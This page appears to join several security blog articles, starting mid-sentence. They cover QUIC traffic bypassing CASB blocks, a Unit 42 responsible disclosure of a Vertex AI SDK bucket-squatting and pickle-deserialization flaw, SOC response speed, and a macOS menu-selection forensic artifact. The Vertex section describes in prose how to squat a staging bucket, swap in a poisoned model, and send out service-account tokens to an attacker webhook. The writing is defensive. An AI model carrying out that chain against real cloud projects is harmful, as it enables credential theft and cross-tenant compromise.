destinations that CASB policies are meant to block. 223 avg GenAI policy violations per org per month (Netskope 2026) 2x sensitive data incidents sent to AI platforms, year over year (Netskope 2026) 86% security leaders who believe employees are sharing sensitive data with AI tools without authorization (Code42 2024) Blocking AI destinations at the CASB layer is the right call. But if QUIC is unblocked and HTTP/3 connections are being established over UDP to those destinations, the block may not be firing for a significant portion of actual traffic. The policy says blocked. The network says otherwise. For organizations subject to GDPR, HIPAA, PCI DSS, or SOC 2, an undetected enforcement gap like this one is not just a security problem. It is a compliance risk. Regulators do not distinguish between a policy that was misconfigured and one that was never enforced — the outcome is the same. How to test whether this gap exists in your environment Run this on a test device configured the same as production. You need three things. First, the CASB agent active with a block policy targeting a specific URL. Second, all five browsers installed on that device: Safari, Chrome, Brave, Firefox, and Edge. Third, access to your CASB’s log console. URL stands for Uniform Resource Locator, which is just a web address. "Takes about twenty minutes. Less time than the average security vendor webinar." Confirm the CASB agent is running and the block policy is active on the test device. Open Safari and navigate to the blocked destination. Verify the block fires and a log event appears in the CASB console. Open Chrome and navigate to the same destination. Does the block fire, or does the page load? Repeat with Brave, Firefox, and Edge separately. Record each result. In Chrome, type chrome://net-export into the address bar. That is Chrome’s built-in network log. Use it to check whether Chrome negotiated a QUIC connection to the destination. At the firewall or proxy, check whether UDP port 443 is being explicitly dropped. If it is allowed through, QUIC bypass is possible. Compare CASB log entries against what you observed in each browser. What to look for if the gap exists: NOTE ON FIREFOX Cloudflare’s documentation shows Firefox HTTP/3 inspection can work when the UDP proxy is properly enabled. Behavior varies by CASB vendor. Do not assume Firefox is safe or vulnerable. Test it in your specific environment. What to do about it 01 Block QUIC at the network layer Ask your network team to drop UDP/443 traffic at the proxy, Secure Web Gateway (SWG), or firewall. Chromium-based browsers fall back to TCP when QUIC is blocked, and the CASB inspection pipeline takes over. Most platforms handle this gracefully, though some may see a brief delay on the first connection as the browser falls back to TCP. Recommended by Palo Alto Networks, Forcepoint, and Cloudflare. Verify it is actually enforced, not just documented somewhere. 02 Test every browser, not just one Testing a single browser and calling the control validated is not enough. Safari, Chrome, Brave, Firefox, and Edge each have different protocol behaviors. Every browser in the environment needs to be tested independently, starting at initial deployment and again after any policy changes. 03 Compare CASB logs against what your endpoint actually recorded Endpoint telemetry shows what programs are running and what connections they are making. A pattern where Safari generates block events for a destination while Chrome generates none on the same device in the same time window is worth investigating. It means the block is not reaching Chrome, not that the user was inactive. 04 Look at controls that live inside the browser, not outside it Proxy-based enforcement intercepts traffic from the outside. It was designed before QUIC existed and before users spent most of their working day inside a browser. There are tools that work differently: browser-native DLP products, endpoint agents that monitor at the process level, and secure enterprise browsers such as Island or Talon that apply policy from within the browser itself. None of them replaces a CASB, but each one covers gaps that a CASB cannot. 05 Treat CASB event counts as a floor, not a ceiling In any investigation or data loss review, CASB block event volume is the minimum known traffic, the fraction that entered the inspection pipeline. Actual traffic may be higher. Cross-check against your endpoint logs before you call the scope final. Conclusion Nobody wants to find out their block policy was not working by reviewing an incident report. But that is exactly how this gap tends to surface. The logs looked fine. The dashboard was clean. The policy was active. Meanwhile, QUIC connections were going straight to the destination that was supposed to be blocked. This is not a cutting-edge attack technique. It is a protocol mismatch that has been sitting in enterprise environments for years. Nobody talks about it because the logs never show anything wrong. No alert. No error. Just traffic moving where it should not be, with no corresponding log entry to show for it. If you take one thing from this: ask your network team to block UDP port 443 at the firewall or proxy, then test every browser in your environment against a blocked destination. Twenty minutes. You might be surprised what you find. If you are sharing this with leadership: ask your security team to run the test in the section above and report back. The answer will tell you whether your current enforcement is doing what you think it is. Assume nothing. Test everything. Glossary of key terms CASB Cloud Access Security Broker. A security tool that monitors and controls traffic between users and cloud services. In proxy mode, it acts as a checkpoint on every outbound internet connection. SSL / TLS Secure Sockets Layer / Transport Layer Security. Encryption protocols that protect data in transit. The padlock in your browser’s address bar means TLS is active. CA Certificate Authority. Issues digital credentials called certificates. In the context of this article, a CASB uses a CA certificate so browsers trust its re-signed traffic during SSL inspection. TCP Transmission Control Protocol. The traditional, reliable internet transport protocol. CASB inspection tools are built to intercept TCP traffic. UDP User Datagram Protocol. A faster, lower-overhead protocol. QUIC runs over UDP, which is why CASB tools built around TCP cannot inspect it. QUIC A modern transport protocol from Google, standardized by the IETF. Runs over UDP and powers HTTP/3. Not an acronym, just a name. Designed for performance, not to bypass security controls. HTTP/3 The third major version of the Hypertext Transfer Protocol, the language of the web. Uses QUIC as its transport. Supported by most large platforms. SWG Secure Web Gateway. A network-level security tool that filters internet traffic, often deployed alongside a CASB. DLP Data Loss Prevention. Tools and policies designed to stop sensitive data from leaving an organization without authorization. SaaS Software as a Service. Cloud-based software accessed through a browser: email, productivity tools, AI services. Endpoint Any device (laptop, desktop, phone) connected to a corporate network or running corporate security software. Telemetry Detailed data automatically collected from systems about their activity and connections. Used by security teams to investigate incidents. URL Uniform Resource Locator. A web address, what you type into a browser’s address bar. DNS Domain Name System. The internet’s directory. Translates web addresses into numeric IP addresses computers use to find servers. Modern DNS records can also signal which protocols a server supports, including QUIC. Protocol A set of rules for how data travels across a network. TCP and UDP are both transport protocols, but they work very differently. References 1. Internet Engineering Task Force. QUIC: A UDP-Based Multiplexed and Secure Transport. RFC 9000. May 2021. rfc-editor.org/rfc/rfc9000 2. Palo Alto Networks. Create the Application Block Rules: Block QUIC. Internet Gateway Best Practices. docs.paloaltonetworks.com 3. Forcepoint. QUIC (UDP) Protocol Traffic Can Bypass Forcepoint Cloud and On-Premises Proxies. Support Advisory. support.forcepoint.com/s/article/000015410 4. Cloudflare. HTTP/3 Inspection, Cloudflare One Documentation. Accessed June 2026. developers.cloudflare.com 5. Keep Aware. 2026 Browser Security Report: Enterprise Blind Spots and AI Risk. March 2026. Coverage via BleepingComputer. bleepingcomputer.com 6. Endpoint Protector. Why Browser-Based Workflows Break Traditional DLP. February 2026. endpointprotector.com 7. Netskope Threat Labs. Cloud and Threat Report: 2026. January 2026. netskope.com 8. Code42 Software. 2024 Data Exposure Report. March 2024. globenewswire.com 9. Internet Engineering Task Force. Service Binding and Parameter Specification via the DNS (SVCB and HTTPS Resource Records). RFC 9460. November 2023. rfc-editor.org/info/rfc9460 10. Gartner. Definition of Cloud Access Security Brokers (CASBs). Gartner IT Glossary. gartner.com

We discovered a vulnerability in the Google Cloud Vertex AI software development kit (SDK) for Python, and responsibly disclosed it to Google. Before Google’s fix, the vulnerability would have allowed an attacker operating entirely from their own Google Cloud project to hijack a victim's model upload and poison it. By exploiting this flaw in vulnerable versions of the SDK, an attacker can achieve remote code execution (RCE) within a target’s Vertex AI serving infrastructure, with zero initial access to the victim's project. The root enabler of this attack is a predictable default bucket name, combined with a missing ownership check in the SDK's staging logic. When a Vertex AI user uploads a model without specifying a custom staging bucket, the SDK constructs a bucket name using a deterministic pattern based on the project ID and region. An attacker who knows the victim's project ID can preemptively create this bucket in their own project, a technique known as bucket squatting. The SDK then silently uploads the victim's model artifacts to the attacker-controlled bucket. Subsequently, within a narrow window of opportunity, the attacker replaces the legitimate model with one that carries a malicious payload. Once the victim deploys the compromised model, the attacker's code executes. In vulnerable SDK versions, this can lead to data exfiltration, lateral movement and further compromise of the victim's cloud environment. We refer to the process of exploiting this vulnerability as Pickle in the Middle because it relies in part on deserializing a built-in module called pickle, as explained below in Pickle Deserialization as Attack Vector. We reported the vulnerability to the Google security team, and they accepted our findings. The issue affected google-cloud-aiplatform SDK versions 1.139.0 and 1.140.0, which was the latest at the time of testing. Google completed the fixes to address this issue in v1.148.0, which was released April 15, 2026. We recommend that developers upgrade to fixed versions of the SDK. Palo Alto Networks customers are better protected from the threats discussed discussed in this article through the following products and services: The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-specific risks. If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Vertex AI is a machine learning platform for training and deploying ML models and AI applications. The Vertex AI SDK for Python is the primary client library that developers use to interact with the platform programmatically. We focused our research on the Vertex AI SDK for Python (google-cloud-aiplatform), as many enterprises rely on it to create and manage their AI/ML pipelines, applications and models. The Vertex AI Model Registry is a centralized repository within Vertex AI where users store, version and manage their ML models. When a user uploads a model to the Model Registry via the SDK, the SDK first stages the model artifacts in a Google Cloud Service (GCS) bucket before registering them with the service. The Model Registry then references these staged artifacts. When the model is deployed to an endpoint, Google's internal infrastructure (specifically, a Per-Product, Per-Project Service Account or P4SA) loads them into a serving container. Figure 1 shows the intended model upload flow. Bucket squatting is a class of vulnerability that takes advantage of the global uniqueness of cloud storage bucket names. Since no two buckets across all of Google Cloud can share the same name, an attacker who is able to predict a bucket name can preemptively create it in their own project. Any subsequent attempt to use a bucket with that name, even from a different project, silently falls back to the attacker's bucket. In Google Cloud, many managed services operate through service agents (P4SAs). These are Google-managed service accounts that allow Google Cloud services to access resources. In the case of Vertex AI, the P4SA is responsible for reading model artifacts from the staging bucket and loading them into the serving infrastructure. Tenant projects are Google Cloud projects that are owned by Google and used to host resources of a managed service. The identities and resources available inside these tenant projects are important aspects to research because they bridge the boundary between Google's infrastructure and the customer's resources. Vertex AI uses tenant projects to host resources such as Kubernetes clusters, containers and service accounts that allow the service to function. Joblib is a set of tools that provides lightweight pipelining in Python. pickle is a built-in module used for serializing and deserializing object structures. ML models in the Python ecosystem are commonly serialized using pickle – or its Joblib wrapper. A critical property of pickle is that deserialization can be leveraged to execute code. Specifically, Python's pickle protocol supports a reduce method that defines how an object should be reconstructed. An attacker who controls a pickle file can define a reduce method that executes arbitrary Python code the moment joblib.load() or pickle.load() is called, before any type of validation occurs. This is a well-known property of pickle (and joblib), and it is the mechanism we used to turn model poisoning into remote code execution. The Vertex AI SDK for Python model upload functionality is vulnerable to bucket squatting in versions 1.139.0 and 1.140.0, the latest versions that were available at the time of testing. When a user does not explicitly provide a staging bucket name, the SDK constructs a bucket name deterministically from the project ID and region, and then checks whether the bucket exists. If the bucket does not exist, the SDK creates it. However, if the bucket exists, the SDK does not verify whether the bucket belongs to the caller's project. This means that an attacker can create a bucket with the same name in their own project, and then wait for the victim to upload a model. Once uploaded, the attacker can replace it with a malicious model. This model carries a payload that executes arbitrary code when deployed and loaded, abusing the pickle deserialization mechanism. As part of this research, we incorporated a large language model (LLM) into the discovery and code-analysis phase. Analysis that once took days can now be executed significantly faster. By iteratively narrowing the model's focus and instructing it to look for specific patterns, we found paths that led to resources provisioned on the cloud, affected by user-controlled or project-derived inputs. The vulnerable code was located in gcs_utils.py, inside the stage_local_data_in_gcs() function: The function constructs the bucket name deterministically from the project ID and region (e.g., my-project-vertex-staging-us-central1). It then calls staging_bucket.exists() to check whether the bucket already exists. The bucket.exists() call returns True for any bucket with that name, regardless of which project owns it. If the bucket exists, even in a completely different project, the SDK proceeds to upload model artifacts to it without any further verification. Once the model is uploaded, the attacker has a limited window of opportunity to replace it with a compromised one. This malicious model carries a payload that executes arbitrary code when the model is deployed and loaded. After this window, the AI Platform Service Agent ([email protected][.]com) reads the model and the attacker loses their ability to replace it. Our tests show that this window is approximately 2.5 seconds, requiring near-real-time attacker operation, as shown in Phases 2-4 below. The success of this attack depends on the following conditions: The victim’s default staging bucket does not already exist in the target region. This is the case for any project that has not yet used Vertex AI in that region or has not used the default staging bucket name. The victim does not specify an explicit staging_bucket parameter when calling SDK methods like Model.upload(). When no bucket is specified, the SDK falls back to the deterministic default name. On the attacker's side, the only requirements are a Google Cloud project – in any organization, using any billing account – and knowledge of the victim's project ID, which is often publicly discoverable. The flow of attack phases reflects the key findings of our research: Predictable bucket name and lack of ownership verification, enabling bucket squatting Race condition window that can be exploited to hijack the model upload Pickle deserialization as an RCE vector The attacker preemptively creates a bucket with the predicted name of the target's staging bucket, in the attacker's own project. The attacker then configures identity and access management (IAM) permissions so that any authenticated Google Cloud identity can read from and write to the attacker’s bucket. This is critical, as the victim's identity (that uploads the model) and Vertex AI’s service agent (which reads the model) must both be able to interact with the bucket. The code snippet below illustrates how any authenticated user could interact with the bucket. The legacyBucketReader role ensures that when the victim’s SDK checks whether the bucket exists, the bucket.exists() returns a True response. The objectCreator role allows the victim's SDK to upload artifacts. The objectViewer role allows the Vertex AI service agent to read the artifacts later. The attacker deploys a Cloud Function, which is a serverless compute service in Google Cloud that executes code in response to events. The function is configured with a trigger on google.storage.object.finalize, which fires every time a new object is created (or overwritten) in the specified bucket. This means that the function automatically executes whenever the victim uploads a model artifact to the squatted bucket. The attacker-created Cloud Function's logic is straightforward. When it detects a new model.joblib file in a vertex_ai_auto_staging path, it downloads the original file and replaces it with a pre-generated malicious payload. The malicious payload is a joblib serialized Python object with a crafted reduce method. To check the usage of this method, we set up a webhook that receives the victim's service account credentials. When the model is deserialized, it executes code that queries the Google Compute Engine (GCE) metadata server for the serving container's service account credentials and exfiltrates them to an attacker-controlled endpoint. The reason we use a Cloud Function rather than polling the bucket is timing. According to our tests, the window between the victim's upload and the service agent read is approximately 2.5 seconds. A Cloud Function triggered by google.storage.object.finalize reacts within approximately 800 ms, leaving enough time to replace the file before the service agent reads it. In this way, the attacker wins the race. The victim uploads a legitimate model, but by the time the service agent reads it, the file has been swapped. The victim runs standard SDK code, without unusual configuration or security mistakes, as shown in the following code block: Because no staging_bucket is specified, the SDK constructs the default name, finds that the bucket exists (which the attacker prepared in Phase 1) and uploads the model artifacts to the existing bucket’s location – the attacker’s project. As a result of the victim's upload, the Cloud Storage finalize event triggers the attacker's Cloud Function, which immediately replaces the victim's legitimate model with the malicious payload. The entire swap occurs within the opportunity window, well before the P4SA reads the artifact. The service agent then reads the poisoned model instead of the original one, without the victim's knowledge. The following timeline, captured from our proof of concept, illustrates the replacement flow: T+0 ms Victim SDK uploads model.joblib (601 bytes) T+804 ms Cloud Function detects new model T+1,433 ms Cloud Function replaces new model with RCE payload (601→2,945 bytes) T+2,460 ms P4SA reads the REPLACED model from the staging bucket The victim deploys the model to an endpoint using standard SDK calls, as shown in the following code block: The victim has no indication that the model artifacts were tampered with. When the serving container starts, it calls joblib.load() to deserialize the model. The reduce method in the poisoned payload executes immediately, before the container performs any type validation on the loaded object. In our proof of concept, the payload: Queries the GCE metadata server for the service account email and OAuth access token Collects container environment variables (such as project number, endpoint ID, Kubernetes metadata) Exfiltrates the credentials to an attacker-controlled webhook Figure 2 shows the six phases of the attack chain. The OAuth token that was exfiltrated to the attacker’s webhook belongs to a service account running in Google's managed tenant project, named custom-online-prediction@ .iam.gserviceaccount[.]com. This token has cloud-platform scope – the broadest possible scope in Google Cloud. We found that this token allows access to several tenant project resources that extend well beyond the scope of the individual deployment: Cross-deployment model theft: The service account can access GCS buckets belonging to other model deployments within the same tenant project. In our testing environment, we were able to discover and read model artifacts from other deployments, including a complete TensorFlow model with trained weights. BigQuery reconnaissance: The token can enumerate all BigQuery datasets and table names in the victim's project, and read dataset access control lists. This exposes data schema, naming conventions and the identities of other service accounts with data access. This is valuable information for lateral movement. Tenant infrastructure intelligence: The token can read Cloud Logging from the Google-managed tenant project, revealing internal infrastructure details like: - Google Kubernetes Engine (GKE) cluster names - Active prediction deployments from other workloads - Google-internal container image URIs - Kubernetes system identities We reported this vulnerability to the Google security team. Google deployed fixes in v1.144.0 on March 31, 2026 and in v1.148.0 on April 15, 2026. Figure 3 shows the first fix: the addition of a uuid4 variable with a randomly generated value to the end of the bucket naming routine in the gcs_utils.py script. Figure 4 shows the second fix: the addition of a bucket ownership verification check to the gcs_utils.py script. March 5, 2026: Vulnerability reported to Google Cloud via the Vulnerability Reward Program March 9, 2026: Google assigned top priority to the report March 10, 2026: Google acknowledged the vulnerability, assigned top severity and reported to the product team March 31, 2026: Google deployed the first fix to production April 15, 2026: Google deployed the second fix to production The growing role of AI in production systems highlights the importance of continuously examining the security resilience of the platforms that support it. This research is one contribution to that effort, and we appreciate Google's collaboration in resolving the vulnerability. Our research shows that cloud security extends into the developer toolchain and machine learning model lifecycle. The vulnerability that we discovered demonstrates how seemingly minor design flaws can lead to a critical security issue. In vulnerable versions of the SDK, this attack requires no access to the victim's project and no social engineering tactics, and could result in model poisoning, credential theft and cross-tenant compromise. Google Cloud worked closely with Palo Alto Networks Unit 42 to resolve this issue through our Vulnerability Rewards Program (VRP). They deployed a permanent fix for the Vertex AI SDK for Python in version 1.148.0 on April 15, 2026. We recommend that all developers update their SDK to version 1.148.0 or later to ensure the new bucket ownership checks are active. As an added best practice, when specifying an artifact_uri that isn't set to a Cloud Storage (gs://) location, users should set the staging_bucket parameter to a Cloud Storage location to help ensure full asset isolation. Palo Alto Networks customers are better protected from the threats discussed above through the following products: Cortex Cloud Organizations are better equipped to close the AI security gap through the deployment of Cortex AI-SPM, which delivers comprehensive visibility and posture management for AI agents across AWS, Azure and GCP environments, as described within this article. Cortex AI-SPM is designed to mitigate critical risks including, over-privileged AI agent access, misconfigurations, and unauthorized data exposure. Cortex AI-SPM enables security teams to enforce compliance with NIST and OWASP standards, monitor for real-time behavioral anomalies, and secure the entire AI lifecycle within a unified cloud security context. Cortex Cloud Identity Security can also protect organizations from the techniques discussed in the article. Identity Security encompasses: - Cloud Infrastructure Entitlement Management (CIEM) - Identity Security Posture Management (ISPM) - Data Access Governance (DAG) - Identity Threat Detection and Response (ITDR) The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-specific risks. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Gemini Enterprise Agent Platform – Google Cloud documentation Python SDK for Vertex AI – Google Cloud GitHub Glossary – Tenant Project – Google Cloud documentation Joblib: running Python functions as pipeline jobs – Joblib Pickle – Python object serialization – Python documentation Models & datasets – TensorFlow documentation v1.148.1 Vulnerability Fix – Vertex AI Python SDK release notes

This marks the beginning of our series, Inside the Modern SOC: Trends and Insights from Unit 42 Managed Services. This series draws directly from Unit 42 customer environments, security operations center (SOC) assessments, threat hunting engagements and frontline investigation experience to highlight the operational patterns shaping modern security operations. Through our work helping organizations detect, investigate and respond to threats, one theme continues to surface: The speed gap has become one of the defining operational challenges facing today's SOC. Drawing on findings from the 2026 Unit 42 Global Incident Response Report, we can see that attack timelines have compressed dramatically as adversaries use AI to move faster and automate more of the attack lifecycle. In the fastest cases, attackers moved from initial access to confirmed data exfiltration in just over an hour (72 minutes), representing a 4X year-over-year acceleration. When security operations still rely on manual triage and fragmented workflows, defenders are forced to operate on a timeline modern attackers have already outpaced. This is not a personnel problem; it’s a process problem. By the time an alert is validated through manual steps, the adversary has often already achieved their objective. Across recent Unit 42 investigations, we continue to see a consistent pattern: attackers leveraging compromised credentials, identity manipulation, privilege escalation and rapid lateral movement to compress attacks that once unfolded over days into hours, or even minutes. Threat actors such as Muddled Libra (aka Scattered Spider) and Spoiled Scorpius, distributors of RansomHub ransomware, exemplify this broader trend. The Social Entry: Initial access is often gained through compromised credentials, MFA manipulation, help-desk impersonation or other identity-based tactics. This pattern appeared across many of the investigations we handled over the past year. According to the 2026 Unit 42 Global Incident Response Report, 65% of initial access is driven by identity-based techniques. The Rapid Escalation: Once inside, attackers frequently attempt privilege escalation and administrative account abuse within minutes or hours of gaining access. Unit 42 has observed suspicious identity activity quickly escalating into abnormal administrative behavior and signs of privilege escalation. The Multi-Surface Pivot: Attackers increasingly move across identity, endpoint, cloud and Software as a Service (SaaS) environments. Once elevated privileges are obtained, they may provision cloud resources, create rogue virtual machines, mount virtual drives or establish persistence to support data staging and exfiltration. The Rapid Impact: Unit 42 investigations continue to show attackers compressing the time between initial access and business impact. In some cases, threat actors such as Spoiled Scorpius have exfiltrated hundreds of gigabytes of data within hours of gaining access through improperly secured remote access infrastructure. From a tooling perspective, the warning signs were often already present across the organization's identity and endpoint security controls. Multiple alerts had been generated, but without automated correlation, each appeared low priority in isolation. Connecting these signals manually takes time, a luxury attackers no longer allow. In investigations involving identity-driven attacks, our analysts use the Cortex SecOps platform to quickly connect unusual privileged account activity, PowerShell execution, abnormal authentication patterns, privilege escalation attempts and lateral movement indicators to understand the full scope of an incident. Additional context, including device history, process activity, threat intelligence and behavioral analytics, helps determine whether activity is legitimate or indicative of attacker behavior. By analyzing these behaviors in context, our teams can quickly identify high-confidence incidents and contain compromised accounts before activity expands further across the environment. Organizations using Managed XSIAM extend this model through AI-driven correlation, integrated response workflows and continuous SOC engineering that helps reduce investigation and response times. This shift from sequential investigation to real-time correlation helps security teams keep pace with compressed attack timelines. Instead of spending critical minutes manually stitching together fragmented alerts, analysts can move quickly from detection to confident response. Closing the speed gap requires evolving how your security operations function. Modern threats require an operating model that matches attackers’ velocity. Move Beyond Sequential Workflows: Shift from linear "Triage → Investigate" models to workflows where enrichment happens automatically in parallel. Analysts should not need to manually search multiple tools to understand whether an alert is serious. Correlate by Default: Related signals across identity, endpoint, cloud and network activity should automatically group into unified incidents. This reduces investigation time and helps eliminate analyst fatigue caused by fragmented tooling. Per the Unit 42 Global Incident Response Report, in 87% of incidents investigators reviewed evidence from two more distinct sources to establish what occurred. Complex cases drew on as many as 10 sources. Operationalize Response: Predefine containment actions for common attack scenarios such as compromised accounts, suspicious PowerShell execution, malware activity or unauthorized remote access. When attackers move in minutes, response decisions cannot begin from scratch every time. Prioritize Behavior Over Indicators: Focus on attacker behaviors such as rapid privilege escalation, impossible-travel logins, unusual access patterns or abnormal process execution chains. These behaviors often reveal malicious intent earlier than static indicators alone. In our next entry in this series, we'll explore another trend keeping security leaders up at night: Attackers have stopped "breaking in" and started "logging in." We'll examine how identity-based attacks are rapidly replacing malware as the preferred path to compromise and what organizations can do to defend against them. We help organizations close the speed gap by combining expert-led operations with real-time detection, investigation, and response. Unit 42 Managed Detection and Response (MDR) combines AI-driven automation with world-class threat hunters, analysts, and responders who proactively uncover threats, investigate high-risk activity, and act quickly when minutes matter. Together, these capabilities help organizations accelerate detection, investigation, and containment while improving security outcomes. For organizations pursuing broader SOC modernization, Managed XSIAM extends these capabilities with 24/7 expert-led operations, integrated response, continuous SOC engineering, and a breach response guarantee that includes 250 hours of Unit 42 Incident Response support. Together, these capabilities help organizations reduce operational complexity, strengthen security outcomes, and build a more resilient security operation prepared for today's threat landscape. Learn more about Unit 42 Managed Services.

Forensic examiners are constantly hunting for data that reveals not just what happened on a system, but the user's intent behind it. With the release of macOS Tahoe 26, a new artifact has surfaced that provides exactly this level of granularity. We have identified a new Biome stream, App.MenuItem, which logs specific menu selections made by users across the operating system. This artifact offers a step-by-step record of user actions — from compressing files to emptying the trash — providing critical context for user activity across the operating system. This blog outlines where to find this artifact, how to process it and what stories the data can tell. The Apple Biome system has long been a gold mine for forensic investigators, tracking everything from app usage to media consumption. In macOS Tahoe 26.x, Apple appears to have introduced a new stream specifically designed to track menu selections, likely to facilitate user suggestions or learning behavior. The artifact is located at ~/Library/Biome/streams/restricted/App.MenuItem/local. Unlike simple logs, this file contains SEGB-encapsulated protobuf entries. SEGB is the file format used by the Biome. While this format requires specific tooling to parse, the payoff is significant. The stream captures the exact text of menu items selected by the user, along with the timestamp of the activity, providing a narrative of their interaction with the interface. Because standard forensic tools may not yet parse this specific stream, examiners can utilize open-source tools like ccl-segb to extract the raw data. In our testing, this artifact is not parsed by the most common commercially available digital forensic tools available. To process the file: Export the file(s) from the directory ~/Library/Biome/streams/restricted/App.MenuItem/local. Run the ccl-segb Python script: python ccl_segb_cli.py > outputfilename.txt. Convert the resulting text output into a CSV format for easier filtering and analysis using a Python script. The true value of App.MenuItem lies in its ability to reconstruct a user's workflow. Where a file system event might simply show a file was deleted, this artifact can show the deliberate action of selecting "Move to Trash" followed by "Empty Trash.” Consider the following sequence of events observed in our sample analysis: 18:32:37: The user navigates using Go > Go to Folder… in Finder. 18:36:59: In TextEdit, the user selects File > Save…, followed by typing "u42validation". 18:37:54: The user highlights a folder named "stolendata" and selects Compress “stolendata”. 18:38:19: The user selects Move to Trash. 18:38:41: The user interacts with the Dock to select Empty Trash. In this scenario, we see a clear pattern: data creation, compression (likely for exfiltration) and subsequent cleanup. We even see interaction with specific UI elements, such as Copy and Paste Item later in the timeline. While powerful, this artifact is not without limitations. It relies on the menu item text itself. If a menu option does not explicitly contain the file or folder name (e.g., a generic "Open" command vs. "Compress 'Report'"), the specific target of the action might not be visible in this stream alone. However, when correlated with file system logs, App.MenuItem provides the "human" context that technical logs often miss. The discovery of the App.MenuItem artifact in MacOS Tahoe 26 adds a powerful new layer to forensic investigations. By capturing the specific menu choices a user makes, examiners can reconstruct digital intent with greater precision than before. Whether you are investigating data exfiltration or trying to understand a sequence of events, this Biome stream provides a narrative view of user behavior. As macOS continues to evolve, so must our forensic methodologies. We encourage all examiners working with Tahoe images to verify if this artifact is present and incorporate it into their standard analysis workflows.